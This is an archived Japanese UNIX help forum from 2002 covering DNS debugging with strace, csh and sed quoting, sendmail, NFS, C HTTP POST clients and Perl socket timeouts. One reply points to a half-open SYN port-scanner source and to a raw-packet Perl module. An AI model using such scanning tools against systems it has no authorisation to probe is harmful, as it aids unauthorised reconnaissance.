> socket(PF_UNIX, SOCK_STREAM, 0) = 3
> connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or > directory)
> socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
> connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
> socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
> connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0

なんか全然違いますねぇ。UDP/IP で、192.168.0.1:53 宛に connect
するはずなので、perl の場合の
    socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
    connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
という結果は正しいと思います。perl の実行時に tcpdump してみたら
どうなるんでしょうか。

うちではこんな感じです。
    % truss perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))"
    socket(0x2,0x2,0x0) = 4 (0x4)
    connect(0x4,{ AF_INET 192.168.0.1:53 },16) = 0 (0x0)
    sendto(0x4,0xbfbfe464,0x24,0x0,0x0,0x0) = 36 (0x24)
    recvfrom(0x4,0xbfbfed64,0x400,0x0,0xbfbfe238,0xbfbfe1fc) = 251 (0xfb)
    close(4) = 0 (0x0)
    close(3) = 0 (0x0)

    % truss dig www.jp.freebsd.org
    socket(0x2,0x2,0x0) = 3 (0x3)
    connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0)
    sendto(0x3,0xbfbff184,0x24,0x0,0x0,0x0) = 36 (0x24)
    select(0x4,0xbfbed694,0x0,0x0,0xbfbed60c) = 1 (0x1)
    recvfrom(0x3,0xbfbef184,0x10000,0x0,0xbfbed684,0xbfbed678) = 251 (0xfb)
    close(3) = 0 (0x0)

ただ、どうも strace から絞り込んでいく方向は遠回りかもしれません。
IPv6 を OFF にしてみるとか、DHCP を使わずにやってみる方が早道かも
しれませんね。

> でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで
> 決めてるようならいつものIPを指定してみようかな?
大抵の DHCP サーバは、どの MAC アドレスにどの IP アドレスを振った
かを数日間記憶していて (設定次第ですが)、できるだけ同じマシンには
IP アドレスを振るようにしているので、ちょろっと試す分には OKかと
思います。


>>2804 通りがかり
> ここまでまるごとパクリっていうのも...
> http://www.apk.ne.jp/~yasya/ura/unix/index.html
クレーム入れるのもダルいので、放置です。

ちなみに他にもありますよ :-)
    http://www.it.ice.uec.ac.jp/~furu/unix/kind.html
    http://noto.cc4-4.kanagawa-u.ac.jp/~jsato/helps/

コンテンツの引用や転載については
    http://x68000.startshop.co.jp/~68user/
を読んでください、ということで。

No. 2807 # 愛子 2002/06/24 (月) 11:22:04
こんにちは。愛子@UNIX1年生 です。
今回、Cシェルを作成することになり、Cシェルはじめて2週間といった
初心者です。どうぞ、宜しくお願いします。

さて、質問なのですが・・・

[ test.txt ]

apple 133 123
orange 133 123
candy 133 156
というファイルがあります。

このファイルの各行末に
変数 TEMPSTR に 格納されている文字列を連結するというCシェルを
作成しようとしています。

[ 作成したシェルスクリプト ]
#!/bin/csh

set TEMPSTR = "LIST"

sed 's/$/,123.45/' < test.txt
sed "s/^/${TEMPSTR},/" < test.txt
sed "s/$/,${TEMPSTR}/" < test.txt

[ 実行結果 ]

apple 133 123,123.45
orange 133 123,123.45
candy 133 156 ,123.45
LIST,apple 133 123
LIST,orange 133 123
LIST,candy 133 156
文法があいまいです。

となります。
行頭挿入は、出来るのに行末追加は出来ないのは何故でしょうか???
文法があいまい ということは、変数の指定がいけないと思うのですが
・・・
変数の中身は、固定でないので(各行違うデータを文末につけるので)
変数を用いなればなりません。
sed以外でも ファイルの各行の文末に文字列を連結することが
出来るコマンドがあれば、そちらの方法でも構いません。
(行数分LOOPを回してやるというLOOP処理では行数が1万行とかあるので
  NGですが)

質問の仕方が下手で申し訳ありませんが、宜しくお願い致します。
ちなみにバージョンは、UNIX(r) System V Release 4.0 です。
どなたか、ご教授いただければ大変、嬉しく思います。

No. 2808 # 愛子 2002/06/24 (月) 15:07:43
自己レスでごめんなさい。
10Hやって出来なかったので、質問したのですが、

インターネットで調べながらやっていたら、出来ました。
            sed 's/$/,'$TEMPSTR'/' < test.txt
でした。

また、1行目から2行目まで追加したい時は、
            @ RW = 2
            sed '1,'$RW's/$/'$TEMPSTR'/' < test.txt
のようです。
ご参考までに

#!/bin/csh
set TEMPSTR = "LIST"
@ RW = 2
sed 's/$/,123.45/' test.txt
sed "s/^/${TEMPSTR},/" test.txt
echo RW = $RW
echo TEMPSTR = $TEMPSTR
sed '1,2s/$/,GYOUMATSU/' test.txt
echo "-----------------------------------------------"
sed '1,'$RW's/$/'$TEMPSTR'/' test.txt
echo "-----------------------------------------------"
sed 's/$/,'$TEMPSTR'/' test.txt
どなたかが参考になるといいなぁ・・・
では、お騒がせ致しましたです。

No. 2809 # 68user 2002/06/24 (月) 19:33:01
>>2808 愛子
> sed 's/$/,'$TEMPSTR'/' < test.txt
もし "" でくくるなら、sed "s/\$/,$TEMPSTR/" ですが、
csh では "\"" とか '\'' というふうに
    - "" の中に " を入れる
    - '' の中に ' を入れる
ことはできませんので、\ でエスケープしているといつかは
破綻します。よって、

> sed 's/$/,'$TEMPSTR'/' < test.txt
のように必要なところのみ '' でくくるのはよいやり方だと
思います。

No. 2810 # りょうこ 2002/06/25 (火) 18:47:08
sendmailについての質問があります。

現在sendmailのバージョンは、8.9です。
現在使用しているドメインにもう1つドメインを追加したいのですが、

sendmail.cwファイルを作成して、そこを参照するように.defを
このようにしました。
USE_cw_FILECLASS=yes
cw_FILE_PATH='/etc/mail/sendmail.cw'

そして、sendmail.cwの中にドメイン名を記述したのですが、
これだけでは、だめなのでしょうか?

やりたい事は、1つのメールサーバーで2つのドメインのメールを受信
したいのです。

検討違いの事をやっているかもしれませんが、教えてください

No. 2811 # あおい 2002/06/26 (水) 01:22:52
はじめまして、こんにちは。
HPを開いているのですがご相談があります。
ネットに関してまだ未熟なもので
申し訳ないですがよろしくお願い致します。m(__)m

BBSを2つほどレンタルして設置しているのですが
管理人の記事管理モードなどを使うと
書き込み相手の【ホスト名】というのが表示されています。
これを使ってアクセス制限などをするようなのですが
私のBBSでは1つが【4つの数字】の表示(【IPアドレス】ですか?)で
もう1つは【〜jp】での表示です。
これら【ホスト名】とは、パソコン1つ1つで絶対に違うものになるのでしょうか?
人によっては時々その数字やアルファベットが、多少変化しているのですが・・・。
同じ物は絶対に存在しないのでしょうか?

例えば学校内の1つの部屋に沢山のパソコンを置いている場合、
どのパソコンを使ってもこの【ホスト名】は別々のものになりますか?
それとも同じになる事もあるのでしょうか?

このような質問をさせて頂いたのは実はBBSに書き込みされてる方で
『2つのHNを使い、別人を装ってるのではないか?』と
思われる人がいるからなんです。
その2人の人物はいつも同じ日、同じ時間に書き込んでいるのですが
【ホスト名】が常に同じだったので疑った所
『友人で2人とも学校から書き込んでいる』といいます。

その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所
【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか?

わかりにくい文面で申し訳ないですが、
大変困ってますので、どうかよろしくお願い致します・・・。m(__)m

No. 2812 # 68user 2002/06/26 (水) 06:18:33
>>2810 りょうこ
よいと思います。あるいは MY_ALIAS で指定するとか。

>>2811 あおい
> それとも同じになる事もあるのでしょうか?
proxy サーバを経由しないと外に出られないようになっているなら、
ホスト名や IP アドレスは proxy サーバのものになります。学校や
会社などではよくある形態です。

> その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所
> 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか?
ed.jp は小・中・高等学校などです。詳しくは
    http://www.nic.ad.jp/ja/dom/basics.html
をどうぞ。ngn は「長野県」でしょうね。

No. 2813 # has 2002/06/27 (木) 02:17:48
>>2806 68user
perl実行時にstraceしながらtcpdumpしましたが、パケットは流れませんでした。
ただstraceで若干気になったところがあるんですが、

socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168\
.0.1")}}, 28) = 0
send(3, "9\307\1\0\0\1\0\0\0\0\0\0\3www\2jp\7freebsd\3org\0"..., 36, 0) = 36
gettimeofday({1025110376, 462410}, NULL) = 0
poll([{fd=3, events=POLLIN}], 1, 5000) = 0

と出力されるうち、sendの戻り値36は何を示しているんでしょう?
# ちなみにプログラムはpollでタイムアウトを繰り返して終了します。
固定IPを指定してみましたが、やはり同様に名前解決できませんでした。
ipv6を切るのは、やり方がわかっていないのでまだやっていません。
Webの検索をしたときにSolarisで同じような問題にぶつかって、
それについてMLで質問している記録が掲載されていたのを見付けたので、
その人に直接メールで聞いてみようかなぁ。
# その記事には結末が載っていませんでした

No. 2814 # 68user 2002/06/27 (木) 21:50:03
>>2813 has
> sendの戻り値36は何を示しているんでしょう?
送信したバイト数ですが、この結果だけ見ればちゃんと query を
送信しているように見えます。

というわけで、strace は手詰りですね。後は netstat -s で統計
情報に何か出ていないか調べてみる、くらいしか思い付きません。

No. 2815 # moto 2002/06/28 (金) 00:42:40
こんにちは パールのコードについて教えてください。
ログの読み込みなのですが、ファイルハンドルをオープンして通常は
@log = <FH>; のような形で取り込むのですが、ログファイルの先頭の
1行だけ必要な場合、その1行だけを取得することはできるのですが、
書き換えたその1行を元の先頭に戻したいのです。
メモリ食いの @log = <FH>; は使わないで、while(<FH>){nantoka;} のような形で解決するコードは無いでしょうか。
よろしくお願いします。

No. 2816 # 68user 2002/06/28 (金) 01:02:12
>>2815 moto
use IO::Handle して、sysopen して、<FH> して、先頭に
seek で戻って print でいけるかな。

ただし、1行あたりの文字数が変わらない場合のみです。

No. 2817 # moto 2002/06/28 (金) 23:45:06
こんにちは 68user さん
掲示板のログの読み込みに関してだったのですが、やはり、上手い手は無いようなのですね。
いつも思うのですが、open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら、while 関数ももっと活躍できるのにと残念です。
お騒がせしました。 

No. 2818 # 68user 2002/06/28 (金) 23:50:32
>>2817 moto
> open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら
と言われて思い出しましたが、 +> や +>> ってのがありましたね。

ただ、繰り返しになりますが、文字や行の挿入はできませんよ。
あくまで上書きのみです。よって、あまりうれしくないかも。

No. 2819 # 飛鳥 2002/07/01 (月) 16:56:36
教えてください。
vi エディッタで rm ファイル名で ファイルを削除してしまいました。
復元する方法はありませんか???
よろしくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2820 # 68user 2002/07/01 (月) 18:14:37
>>2819 飛鳥
一般的な UNIX のファイルシステムであれば、消したファイルは
復活できません。あきらめましょう。

No. 2821 # 飛鳥 2002/07/01 (月) 19:37:24
ありがとうございます。
素直にあきらめます。。。。。。。。。

No. 2822 # help 2002/07/01 (月) 20:23:12
javaのRuntimeクラスを使いシェルスクリプトを実行させたのですが、
シェルスクリプトに引数が渡りません。
以下の記述をしてます。
Runtime.getRuntime().exec("test.sh","param");

シェルスクリプト側で$1変数から引数の値が取得できてません。
解決方法を知ってる方は教えて頂けないでしょうか?

No. 2823 # 68user 2002/07/01 (月) 22:26:27
>>2822 help
試してませんが
    String args[]={"test.sh", "param"};
    Runtime.getRuntime().exec(args);
とか
    Runtime.getRuntime().exec(new String[]{"test.sh", "param"});
とかとか。

# 文法あってるかな・・・。

No. 2824 # help 2002/07/01 (月) 22:38:29
>>2823 68user
わざわざ返答ありがとうございます。
返答された記述も上手くいきませんでした。
シェルスクリプト内で行っている処理なんですが、
引数で渡された値からファイルを削除する処理で
以下のような記述をしてます。

#!/bin/sh

/**
      別の処理
*/
rm -rf $1

No. 2825 # 68user 2002/07/02 (火) 09:08:42
>>2824 help
> 返答された記述も上手くいきませんでした。
何がどううまくいかなかったですか? また、うまくいかないと判断した根拠は何ですか?
コマンドラインからシェルスクリプトを実行すると動くんですか?

うちの Solaris8+J2SE SDK 1.3.1 では
        String args[]={"test.sh", "param"};
        Runtime.getRuntime().exec(args);

        Runtime.getRuntime().exec(new String[]{"test.sh", "param"});
それに
        Runtime.getRuntime().exec("test.sh param");
も動きました。

そもそも
> Runtime.getRuntime().exec("test.sh","param");
はコンパイルできなかったのですが、そちらではコンパイルできているん
でしょうか?

なお、Runtime#exec の出力結果を取得したいならこちらを。
    http://www.ongs.net/daichi/java/runtimeexec/index.shtml

これをやらなくても画面に表示されないだけで、実行はされています。

No. 2826 # help 2002/07/02 (火) 10:25:45
>>2825 68user
説明不足で申し訳ありませんでした。
おかげさまでシェルスクリプト内で
以下の記述を追加して解決できました。

//削除したいファイルのパスに移動
cd /XXX/XXX
rm -rf $1

No. 2827 # Tetsu 2002/07/02 (火) 22:00:58
はじめましてTetsuといいます
早速ですが質問があります
WindowsでTCP/IPのプログラムを作っているのですがサーバーはどれにあたるのですか?
メールサーバーでしょうか?それともWWWサーバーなのか良くわかりません
自分ではチャットみたいなプログラムを作りたいと思うのですがサーバーとクライアントの関係がまだ良くつかめません
具体的に教えてもらえると助かります

No. 2828 # 68user 2002/07/02 (火) 23:12:31
>>2827 Tetsu
「はじめにプロトコルありき」と考えるのはどうでしょうね。

    HTTP というプロトコルがあります。HTTP を喋るサーバと
    HTTP を喋るクライアントが必要です。HTTP を喋るサーバは
    web サーバです。HTTP を喋るクライアントはブラウザです。
    よって、web サーバとブラウザがあれば HTTP で遊べます。


で、あなたはチャットみたいな機能が欲しいと。プロトコルは何にしますか?
    1. IRC
    2. HTTP (web 上でのチャット)
    3. 自作プロトコル

1 の場合、IRC というプロトコルは既に存在します。IRC プロトコルを喋る
サーバは既に存在します。IRC プロトコルを喋るクライアントは既に存在します。

よって、IRC サーバと IRC クライアントをインストールすれば OK です。もし
IRC サーバに不満があるなら自作することもできます。IRC クライアントに
不満があるなら自作することもできます。

2 も 1 と同じ。

3 の場合、あなたが新しいプロトコルを設計します。何から何まであなたが
勝手に決めます。しかし、そのプロトコルを喋るサーバもクライアントも
この世には存在しませんので、両方とも自作する必要があります。

…というので回答になってますか?

No. 2829 # Tetsu 2002/07/02 (火) 23:35:56
回答ありがとうございます
自分の聞きたかった質問の解答になってます
ありがとうございます
早速1か2の方法でためしてみたいと思います
3はもう少し勉強してからのほうがいいと思うので

No. 2830 # 68user 2002/07/03 (水) 02:11:27
>>2829 Tetsu
> 早速1か2の方法でためしてみたいと思います
という選択をするのはそれはそれで構わないのですが、チャットアプリを
作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、
多分遠回りになります。


まずは入力された文字を参加者全員に返すサーバを作る。クライアントは
telnet コマンドで代用。

そこからどんどん機能追加して、名前を入力できるようにしたり、部屋を
作れるようにしたり、誰かが入室・退室したときは全員に通知するように
したり、ファイル送受信できるようにしたり…という方がいいかもしれません。

No. 2831 # シド 2002/07/03 (水) 11:26:28
教えてください。
あるマシンで NFS の share を行って、他のマシンからそれのディレクトリを
mountすると、他利用者に何か影響を及ぼすようなことが発生するのでしょうか?

No. 2832 # シド 2002/07/03 (水) 11:28:33
連続してすみません。
教えてください。

dfmountsコマンドを使用する場合、動作環境の条件は、どのようなものがよろしいのでしょうか?

No. 2833 # knockout [E-mail] 2002/07/03 (水) 16:01:01
始めまして。UNIX初心者です。
cシェルを主体としているUNIXにログインしているんですが、
自作のプログラミングを流すと、

: 構文エラー at line 59: `end of file' unexpected

というエラーメッセージが出るんですが、
ファイルのエンドコードがないっすって意味だと思うんですが
この対処法とかあったら教えて下さい。

因みに自分の記述は一行目から
"#! /usr/bin/sh"とかって、シェルがちゃうやん!!
みたいな指摘もあったりなかったり(爆

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2834 # 麻耶 2002/07/03 (水) 17:33:52
はじめまして。
HTTPクライアントについて教えて頂きたいのですが、C言語でHTTPクライアントを作成したく、こちらの「C言語でHTTPクライアントを作ってみよう」を参考にしております。それで、そちらにあるソースではGETの場合を例にしておりますが、これはPOSTでも可能なんでしょうか?また、その場合どのようにすればよろしいのでしょうか。
よろしくお願いします。

No. 2835 # 68user 2002/07/03 (水) 18:01:01
>>2883 シケ゛
> : 構文エラー at line 59: `end of file' unexpected
直訳すると
    予期せぬ「ファイルの終わり」
意訳すると
    次に○○が現れると予想していたのに、ファイルの終端まで
    到達してしまった

というわけで、if に対応する then や fi がないとか、case を esac で
閉じてないとか、そういったことでしょう。

# ファイルの最終行に改行コードがないという可能性も捨て切れませんが。

> ファイルのエンドコードがないっす
UNIX にはファイルの終端コードというものはありません。


>>2834 麻耶
> これはPOSTでも可能なんでしょうか?
可能です。
    http://x68000.startshop.co.jp/~68user/net/http-4.html
を読んでください。

No. 2836 # 68user 2002/07/03 (水) 18:40:59
>>2831 シド
僕は NFS に詳しくないのでよくわかりませんが、返事が付かないのは
質問が曖昧だからでしょう。

まず、OS とバージョンが不明です。

>>2783 シド
> - /home rw=nini:gp7000s,root=gp7000s "File Service"
GP7000S っていうことは Solaris か UXP/DS か HP-UX かなぁと
思いますが (Solaris しか載らないんでしたっけ?)、ちゃんと
サーバとクライアント両方について、OS とバージョンを明記
すべきです。

また、何をどう設定したのかがわかりません。share の引数は?
NFS クライアントからどうやってマウントしたのですか? NFS
クライアントからは正常にアクセスできているのですか?


> 動作環境の条件はどのようなものがいいか
どのような、って何を聞きたいのかわからないです。うまく動作しないのは
動くための条件をクリアしていないのではないか、ということですか?

> 他利用者に何か影響を及ぼすようなことが発生するのでしょうか?
「他利用者」ってどのマシンの利用者ですか? クライアント? サーバ?
要は何か問題が発生しているのですか? ただ単に心配しているだけですか?


業務で使用していて問題が発生しているなら、サポートに聞いた方が
いいと思いますよ。そっちの方が早いし、正確だし、とことんまで
調べてくれるでしょう。

あとは、人の多い
    http://pc.2ch.net/unix/
で質問してみるとか。この掲示板なんて、1日100〜200程度のアクセスしか
ありませんので。

No. 2837 # 麻耶 2002/07/03 (水) 18:43:07
回答ありがとうございます。
幾度か試してみまして、出来ませんでしたのでこちらに書き込んだのですが、よく確認しましたところ空行の入れ忘れでした。本当に申し訳ありませんでした。

No. 2838 # シド 2002/07/03 (水) 19:30:22
すみません。
書き込みの内容が、曖昧でした。私の使用しているのは、確かにSolaris です。
(クラスタサーバモデルなので2つともです。)
shareの実行は、「share -F nfs -o rw=ss10:gp7000s,root=gp7000s -d "File Service" /home」
上記の共有を実行しました。
これをもう1つ別のサーバでマウントして、dfmountsを行う。
(dfmounytsはオプションにサーバ名を入れる事が出来た)
このときdfmountsを行う動作環境として何か問題または、条件が有りますか。

No. 2839 # 遅くなりましたが・・・ [E-mail] 2002/07/04 (木) 10:02:43
回答ありがとうございました(^^)
無事プログラム流れてくれました。
結局、if文内にあったechoのダブルクォーテーション不足でした
ご迷惑かけました(^^;

No. 2840 # 紅絹 2002/07/04 (木) 14:47:49
教えていただきたいのですが、HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか?
また参考をなるものがありましたら教えて頂けないでしょうか。
よろしくお願いします。

No. 2841 # かず 2002/07/04 (木) 16:27:29
すいませんが、どなたか文字列置換に詳しい方がいらっしゃいましたら教えていただきたいんですけど、あるディレクトリ以下の全てのファイルを対象に文字列置換を行う際の書式を教えて下さい。
で、文字列中に記号や空白が含まれるので、例えば「top.test/mail.html」という文字列を「i = window.close();」という文字列に置換する際はどういったコーディングになるのか教えて頂けたらさいわいです。
sedコマンド等で色々と試したのですがどうしても上手く行きません。
どなたかわかる方いらっしゃいましたら教えて下さい。
もう3日ほど悩んでいます。。。お願いします。

No. 2842 # 名無しさん 2002/07/04 (木) 16:49:07
>>2841 かず
Perlで、
s#top\.test/mail\.html#i = window.close();#g;
とか・・・
s#\Qtop.test/mail.html\E#i = window.close();#g;

No. 2843 # シゲ 2002/07/04 (木) 20:46:21
お世話になっています。
初心者の質問で申し訳がありません。
MA-300というハードにPostgreSQLをインストールをしました。
そこで、自動起動を行いたいのですが、
/etc/rc.d/rc.local
に起動コマンドを書き込んでも起動しません。(red hatでは起動したので、コマンドは正しいかと思います。)
私の初心者ながらの推測では、起動時にrc.localは呼ばれていない気がします。(rc.localの中身は空なので、現状では呼ばれなくてもさしあたりがない。)
そこで、またまた初心者的な発想なのかもしれませが、
/etc/rc.d/rc.sysinit
に、直接コマンドを書き込んでもいいのでしょうか?

ご教授ください。
また、他にいい方法があれば、お教え願います。
よろしくお願いします。

No. 2844 # Tetsu 2002/07/04 (木) 22:48:07
>> 早速1か2の方法でためしてみたいと思います
>という選択をするのはそれはそれで構わないのですが、チャットアプリを
>作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、
>多分遠回りになります。
すみません少し勘違いしてました
目的はTCP/IPプログラミングの勉強です チャット機能を持ったプログラムはTCP/IPを理解する上で作りたいと思ってるものです
で質問なのですがサーバプログラムは作成しないといけないのでしょうか?
プロバイダーのサーバにつないでMSNメッセンジャーのような感じで作りたいのですが

No. 2845 # 68user 2002/07/05 (金) 00:37:15
>>2840 紅絹
> HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか?
やろうと思えば何だって可能ですが、そもそもファイル転送って何ですか?
ファイルを GET することですか? それとも
      http://tohoho.wakusei.ne.jp/wwwxx034.htm
のようにファイルをアップロードすることですか?

>>2843 シゲ
> /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。
Linux なら
    http://www.zdnet.co.jp/help/howto/linux/0007master/01/08.html
のように S99PostgrSQL と K99PostgreSQL を作るのが普通だと思います。

>>2844 Tetsu
> で質問なのですがサーバプログラムは作成しないといけないので
> しょうか? プロバイダーのサーバにつないでMSNメッセンジャーの
> ような感じで作りたいのですが
IRC や ICQ や MSN メッセンジャーのように、既にどこかにサーバが
立ち上がっているのなら、わざわざサーバは作らなくてもいいです。

ただし、こういうのを読んでプロトコルを理解する必要があります。
    IRC: http://www3.alpha-net.ne.jp/users/tycho/mokuji.htm
    ICQ: http://www.d.kth.se/~d95-mih/icq/
    MSN メッセンジャー:
              http://www.tlsecurity.net/Textware/Misc/draft-movva-msn-messenger-protocol-00.txt (これは古い)

作るのにとても苦労するでしょうけど、まぁこういうのが好きならば
結構楽しいと思います。

    苦労しつつも楽しんでいる人々: http://pc.2ch.net/test/read.cgi/tech/1006154451/

No. 2846 # シド 2002/07/05 (金) 10:02:14
マウント、シェア関係はほとんど解決できました。

1つ解らないことがあるので、教えてください。
sunOS Solaris7 を使用しています。
NFS サーバーで NFS サービスの実行があるのですが
dfmountsコマンドを実行したいとき、どのデーモンを起動すればいいのか?

mountの場合、mountdプロセスが起動していれば、mountコマンドが実行できました。

No. 2847 # mattu 2002/07/05 (金) 11:39:58
教えてください。
現在POSTをつかったHTTPクライアントをC言語で作成しているのですが、[HTTPクライアントを作ってみよう]のPOSTメソッドを参考に
        sprintf(send_buf, "POST %s HTTP/1.0 \r\n", path);
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "Content-Length:8\r\n");
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "Content-Type:text/plain\r\n", path);
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf, "\r\n");
        write(s, send_buf, strlen(send_buf));
        sprintf(send_buf,"NAME=aaa\r\n");
        write(s, send_buf, strlen(send_buf));
という風に作ってみたのですが、ヘッダの方は正常に送信されている
みたいですが、パラメータが正常に送信されていないようなんです。
ご指摘よろしくお願いします。

No. 2848 # かず 2002/07/05 (金) 13:07:33
教えてくれた方、ありがとうございました。
その後四苦八苦してなんとか自分で解決できました。
ありがとうございました。

No. 2849 # 紅絹 2002/07/05 (金) 16:20:07
ご回答ありがとうございます。
ファイル転送についてですが、GETとアップロードの両方おこなうものを作りたいと思っています。説明不足で申し訳ありませんでした。

No. 2850 # しっぽ 2002/07/08 (月) 11:26:17
はじめまして、いつもお世話になっております

PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
タイムアウト処理を、と言ったことをしたいのですが、以下のプログラムでは
うまく行きませんでした。TCPdumpで見てたところ、何回もSYNを投げなおした後
数分後にやっとエラーメッセージを表示してくれます。

よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく
最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後
エラーメッセージを出す動きをしていました。

何かアドバイスなど有りましたらよろしくお願いいたします
なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です

    $socket = new IO::Socket::INET (
        PeerAddr => "$address",
        PeerPort => "$port",
        Proto => 'tcp',
        TimeOut => 10 );

    unless ($socket) {
        print STDERR "Connection Error at $date\n";
        close($socket);
        }

No. 2851 # 68user 2002/07/08 (月) 11:53:51
>>2850 しっぽ
> PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
その辺を管理するのは OS の TCP スタックなので、プログラム側
からはどうにもなりません。

> よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく
> 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後
> エラーメッセージを出す動きをしていました。
これも、そういうものです。

Solaris だとタイムアウトまでの時間を変更できたしますが、その他の
OS では変更できない可能性が高いです。

もし connect 時のタイムアウト処理をしたいという目的ならば、
ノンブロッキングソケットを使いましょう。


>>2847 mattu
> パラメータが正常に送信されていないようなんです。
その判断が間違っているような気がします。そう判断するに至った
根拠が明示されていないので、ただのあてずっぽうですが。

No. 2852 # mattu 2002/07/08 (月) 12:21:48
ご回答ありがとうございます。
別にあてずっぽうではなく、サーバ側でデバックにて確認してみると、渡しているデータが入ってなかったのと、渡されたヘッダ・パラメータがファイルに出力されるようにしており、JAVAで作成したものでしたら正常に出力されるのですが、Cで作成したもので試してみるとヘッダの部分のみ出力されるのでそう思いました。デバック等にはVAJを使用しております。
言葉不足ですみませんでした。

No. 2853 # 68user 2002/07/08 (月) 12:33:13
>>2852 mattu
    - ボディの最後の \r\n は不要 (もし \r\n を付けるなら Content-Length は
        10 であるべき。でも \r\n 付けていいのかな?)
    - リクエストに Content-Type ヘッダは不要
という点を直しても まだボディが渡らないようなら、その C のプログラムが
おかしいんだと思います (てゆーか、Java でうまくいって C でうまくいかない
なら、C の方を疑うべきでしょう)。

詳しくはこちらなど。http://www.studyinghttp.net/headers.html

No. 2854 # シゲ 2002/07/08 (月) 16:24:29
>>2845出来ました。ありがとうございます。

No. 2855 # シド 2002/07/09 (火) 09:45:44
教えてください。
showmountコマンドは、OSのサポートバージョン等が制限されていますか。

showmountコマンドの実行制限が何かありましたら、教えてください。

No. 2856 # mattu 2002/07/09 (火) 14:03:44
ご回答ありがとうございます
Cで作るHTTPクライアントの件ですが、やはりボディが渡りません。
ソースの方を確認しましたが、おかしいと思われる箇所は見つかりませんでした。
環境が原因で渡らないというのはあるんでしょうか?
現在はUNIX上でコンパイル・実行をしてWin2000上のVAJにつないでいるんですが、関係あるのでしょうか?
また、ボディの書き方で何か注意しとくべきことありますでしょうか?
よろしくお願いします。

No. 2857 # 68user 2002/07/10 (水) 00:51:25
>>2856 mattu
> ボディの書き方で何か注意しとくべきことありますでしょうか?
結局何をどうしたのかわからないので、何とも言えません。

    - VAJ をやめて別のサーバ (Apache など) にしてみる
    - パケットをモニタして、java 版と C 版の違いを調べる
あたりをやれば何かわかるんじゃないでしょうか。

>>2856 mattu
>>2855 シド
とりあえず
    http://www.hyuki.com/writing/techask.html
を読んでみてください。

No. 2858 # しっぽ 2002/07/11 (木) 12:37:18
>>2851 68user

ご回答ありがとうございます
そんな気はしてたのですが、やっぱりそうですか

ただ、TimeOut => 10 の所は何に反映されるのかってのがちょっと気になりました。
確か<$socket>やsysreadで読んだときに読むべきデータがないと
TimeOutの時間を過ぎても返ってこなかったと思いますので…

>ノンブロッキングソケットを使いましょう。

これってつまりは「読むべきデータが無いときに待たない」って
事ですよね。Perlでは使えますでしょうか??

確立時の話じゃないですけど、Cのrecvなんかは待たないので
便利だったり不便だったりといった感じではあったのですが…

No. 2859 # 68user 2002/07/11 (木) 20:45:02
>>2850 しっぽ
> PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら
> タイムアウト処理を、と言ったことをしたいのですが
この目的を聞かせてください。connect で数分待ってしまうのがイヤだから
なんとかしたい、ということだと受け取ったのですが、

> Cのrecvなんかは
ということは、read/write のタイムアウト管理 {が or も} 目的なのですか?

No. 2860 # KL 2002/07/12 (金) 09:09:48
>>2850 しっぽ

IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、
http://www.cotse.com/sw/portscan/halfscan.c
のプログラムと同等のことをPerlからやりたいなら、
http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP.pm
でなんとかできませんか? libpcapのラッパーなのでそれがmakeに要る
ようです。
タイムアウトは、
>なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です
とのことですから、threadを使ってなんとかできそうですが
Perlのthreadなんて使ったこと無いのでどうなのか知りません。
Rubyなら
http://www.goto.info.waseda.ac.jp/~fukusima/ruby/pcap-j.html
なんてのもありますがこっちは目的の機能は無いようにみえます。

No. 2861 # has 2002/07/15 (月) 00:45:53
未だRedhatで名前解決できず、気が向いては眺め、弱っています。
Redhat7.1.94(雑誌に付属)を再インストールしてみましたが、
症状は変わりませんでした。

>>2814 68user
[netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか?
使ったことも知識も無いので、よかったら今後のためにもアドバイスください。

>>2779 has
いまさら経緯の説明をはじめるのも遅すぎかとは思うのですが、
そもそもこういった状態になったのは、LANからインターネットへの回線が
ISDNからADSLに変わり、それと同時に各ユーザマシンに割り当てられるIPが
